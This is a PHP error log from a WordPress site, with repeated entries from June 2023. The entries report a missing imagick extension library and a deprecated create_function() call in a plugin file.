on line 1 [11-Jun-2023 18:50:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:50:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:51:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:51:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 19:16:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 19:16:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 20:17:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 20:17:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 21:18:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 21:18:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 22:19:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 22:19:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 23:20:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 23:20:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:21:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:21:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:38:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:38:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:38:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:38:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:39:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:39:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:39:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:39:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:39:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:39:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:39:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:39:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:40:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:40:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:40:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:40:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:41:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:41:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:41:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:41:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:42:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:42:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:42:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:42:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:43:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:43:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:43:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:43:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:43:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:43:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:44:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:44:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:44:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:44:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:48:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:48:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:48:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:48:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:48:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:48:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:49:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:49:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:49:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:49:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:49:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:49:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:49:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:49:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:50:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:50:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:50:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:50:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:50:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:50:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:51:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:51:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:51:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:51:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:51:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:51:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:51:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:51:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:52:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:52:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:52:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:52:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:52:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:52:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:52:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:52:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:53:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:53:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:53:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:53:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:53:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:53:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:54:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:54:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:55:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 